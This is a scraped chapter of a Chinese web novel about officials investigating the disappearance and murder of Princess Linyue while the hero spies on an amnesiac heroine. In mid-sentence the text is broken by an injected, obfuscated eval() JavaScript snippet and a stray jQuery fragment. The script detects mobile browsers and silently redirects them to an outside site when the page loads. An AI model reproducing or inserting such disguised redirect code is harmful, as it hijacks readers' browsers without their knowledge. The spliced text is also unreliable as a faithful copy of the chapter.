7. 第 7 章
作品:《少卿大人今日也在努力装失忆》 剑影提着一名中年男子快步走来,将人随手扔在地上。
而此人正是李掌柜,李五。
剑影还在一旁絮絮叨叨地说着,“我去时他正准备跑路呢,跑得还挺快,害得我追了好久。”
江敛皱眉,看向李五,出声询问,“你跑什么?”
李五跪在地上,整个人抖得不成样子,“江大人,我真没跑啊。我,我只是忘记拿东西了,想回去拿……”
李五的声音越来越小,毫无底气。
沈意欢抬手戳了戳江敛的背,后者秒懂,露出手中账册,沉声开口,“不知李掌柜可否解释一下,为何账册中与临月郡主交易和旁人不同?”
见只是问这,李五心中悄悄松口气。
他急忙从怀中摸出红契递上,“回大人的话,临月郡主平日虽看上去和其他客人无异,却是我们云墨堂的幕后老板。”
“当初宋大人家贫,买不起书,经常在我这小小书肆抄写书籍,临月郡主知晓后便买下我这间铺子,让我给宋大人行个方便,说是宋大人只要来抄书,便送些文墨。”
“宋大人考取功名后,一直以为之前是我主动为之,出手帮助,书肆也因此越做越大,成为了这云墨堂。”
“临月郡主和宋大人成婚后,为了不让宋大人发觉,就让我隐瞒身份,知晓宋大人喜爱这些,就经常让我留些上好文墨,再假装购入送与宋大人。”
“这也是为何临月郡主的账目和旁人不同。”
瞧着红契上准确无误的名字,江敛点点头。
可沈意欢却没忘记开始剑影说的话,她看向李五,眼神暗含凌厉,“临月郡主既只是让你隐瞒身份,那你为何要跑?怕不是忘拿东西这么简单吧。”
一旁剑影立即附和道,“没错,只是让你配合问话而已,你跑得像我拉你去砍头。”
李五原本松开的心再次提到嗓子眼,低着头,半句话也不敢说。
沈意欢的视线落在账册上,又故意开口,“莫不是你贪了,正巧临月郡主那日发现……”
“不!不不不,绝对不是小人啊!”
沈意欢的话还没说完就被李五惊恐打断。
李五伏在地上,悔不当初,“我的确是贪了一些,那日临月郡主也的确发现了不对,可小人根本没那个胆子敢绑架临月郡主啊!”
“我也,我也不知为何,临月郡主让我拿前台的账册出来核对,我回来时她就消失不见,但小人愿以天发誓,临月郡主失踪真与小人无关啊。”
见李五来来回回几句都是在喊冤,江敛微微蹙眉,抬手挥了挥。
剑影立即领命,拉着李五离开。
众人查找的方向似乎又陷入了僵局。
分明行迹正常的临月郡主为何会无故失踪呢?况且后院和前台相距并不远,若是被人掳走,刚离开的李五不可能听不见声音。
又为何时隔几日,会有人专门跑到临月郡主失踪地印上那黑色印记?
那印记会和沈父有关吗?
无数疑问在心中升起,沈意欢皱眉思索着。
瞧见她这幅模样,江敛突然开口,“你似乎对临月郡主很感兴趣?”
沈意欢回过神,对上江敛的视线,随即羞涩地笑了笑。
她上前牵住江敛的手,语气认真,“我只是在想,若是早日找到临月郡主,夫君是不是就不会这么忙。”
“就会有时间多陪我一些了。”
盯着两人相握的手,江敛默默抽回。
“在外不可如此。”
沈意欢像是不懂,再次靠近,“那夫君在家多陪我些,在内便可了。”
目光下,江敛不作回应,他转头看向窗外,出声道,“时候不早了,先行回府吧。”
江府。
江敛独自待在书房,手中捏着一纸信件。
桌案的烛火明明灭灭,看不清神色。
良久,江敛终于提笔写下。
沈家女暂无异样,仍失忆,周身未发现兵符存在,可查……
写到这时,江敛的手微微顿住,墨水顺着笔尖落下,形成的墨团逐渐将最后两字淹没。
盯着墨团看了许久,江敛忽然将信置于烛火之上。
纸张瞬间点燃,直至变成灰烬。
江敛重新提笔,再落下时,信上的字便成了。
兵符尚未找到,臣逐渐得其信任,可续留江府,以待继续探寻。
一直到信件被暗卫取走,江敛也想不出,自己为何这么做。
明明直接将人带走逼供,快速拿到兵符,才能更好的杜绝那些人的心思。
可如今除了他们几人,谁也不知跳崖的沈懿还活在世上,谁也不知她就是沈懿。
若贸然将她暴于人前,她一个弱女子。
本不该如此。
江敛抬头看向空中,漆黑的夜空中分明不见月,却好似有月在发光。
她的父亲曾为国征战,保护她,也算为天下大义吧。
江敛心中这么劝说着自己。
他操纵轮椅往房间行去,在抬手推开门的一瞬,屋内似乎传来熟悉的香味。
江敛摇头,暗自嗤笑,果然是魔怔了。
推开门,江敛的视线却下意识望向床榻,而那被下正鼓鼓囊囊一团。
沈意欢大约是听见声响,伸出手臂,从锦被中钻出。
原本顺滑的墨发也因动作显得有些凌乱。
沈意欢眨眨眼,笑道,“夫君,你回来啦,我都等你好久了。”
江敛仍在门外未曾进屋,他轻声开口,“这不是你的院子。”
沈意欢歪头浅笑,“对呀,这是夫君的院子,夫君的房间。”
“可我们不是夫妻嘛?夫妻就是该住在一起呀!”
边说着,沈意欢还边认可般点头。
她毫无顾忌地望着江敛,灵动地眼睛眨呀眨,像是在说。
难道我说得不对嘛?
周围陷入安静,江敛说不出任何反驳的话。
他知道无论说什么,都会被夫妻二字阻挡。
夜色正深,江敛一半身子陷在黑暗中,他低着头,神色不明。
沈意欢再次开口催促,“夫君不进屋歇息嘛?”
过了许久,空中才传来江敛那清清冷冷的声音。
“不了,我还有事。”
房门关上,再无动静。
对于这个结果,沈意欢并不意外,或者说她根本就没想过江敛会进屋。
想到藏在床下的东西,沈意欢勾唇笑了笑。
上次那两人定是在找玉佩,或许之前城外追杀的人也是为此,必须要找到一个安全的地方放置。
可,又有什么地方能比堂堂大理寺少卿的卧房更安全呢?
沈意欢满意地躺在床上,沉沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971591|193469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡去。
再次无地可去的江敛则去了隔壁。
一墙之隔。
次日,沈意欢是被院中的说话声吵醒的。
她睁开眼,耳边依稀听见剑影的声音。
“大人,昨日有人来报,在城外破庙发现了一具尸体,像是临月郡主。”
“嗯,先让仵作去查看。”
察觉到不对,沈意欢立即翻身起床,简单洗漱后,急忙往外跑去。
堪堪走了两步,一眼便瞧见等在树下之人。
江敛身着一袭月白锦袍坐于树下,抬手间银丝绣纹在光下熠熠生辉。
他微微低头,神色清冷,听见声响后,抬眸瞬间,阵风袭来,落叶和鬓角发丝共舞。
视线看向沈意欢肩处四散的青丝,江敛浅浅开口,“不急,我在等你。”
四目相对,沈意欢转身回房,抬手关门,一气呵成。
靠在门上,沈意欢浅浅喘息,她闭上眼睛努力将心头异样压制。
再次睁眼时,目光又恢复清明。
待房门再打开,调整好的沈意欢唇角微扬,脚步轻快,径直走向江敛。
她语气软糯,和往日无异,“夫君真好,我还以为夫君会像之前一样直接离开。”
江敛抬头看向眼前人,目光在沈意欢身上月牙色衣裙上顿了顿,又不动声色移开。
“我答应过你,便会等你。”
不知从何而起的风吹过,颜色相近的衣摆在空中飞舞,纠缠不清。
沈意欢眨眨眼,率先问道,“临月郡主死了?”江敛垂眸,并未点头,“还不确定是不是。”
话虽是这样说,但是他们都知道,应当是错不了。
早膳后,两人乘坐马车直接前往城外破庙。
破庙,地如其名。
周围荒无人烟,甚至看不见一户人家。
沈意欢随意扫了两眼,便推着江敛前行。
前方,剑影正面色难看地站在破庙门口,见两人来,他急忙迎上。
“大人。”
江敛轻嗯一声,“如何?”
想到里面的惨状,剑影表情更难看了,“仵作来看过了,但还不确定是不是临月郡主,尸体被毁了容,心口插着一把匕首。”
江敛点头表示知晓,身后沈意欢推着江敛就要进入,却被剑影徐虚虚拦下。
剑影小心开口,“有些惨,要不要让夫人在外等候?”
闻言,沈意欢转头可怜巴巴地看向江敛,一副不想离开的样子。
江敛摆摆手,“无碍。”
现在是这样说,可在看到尸体那刻,江敛迅速抬手拉过身后人手腕。
沈意欢踉跄一步,还未来及直起身,眼前便覆上一只手,牢牢挡住她的视线,耳边只剩江敛淡漠的声音。
“还是别看了,免得梦魇。”
温热的触感不断传入,沈意欢眨眨眼,纤长的睫毛无意识碰到江敛掌心,带起丝丝痒意。
江敛紧抿着唇,目光紧盯地上尸体。
良久,他像是确认了,“是临月郡主。”
话落,便拉着沈意欢往外走。
离开时沈意欢悄悄转头看了一眼。
视线中,一具衣着华丽的女子躺在地上,心口插着一把精致匕首,面上满是划痕。
看不清面容,但沈意欢隐隐瞧见那女子脸上,竟是带笑?

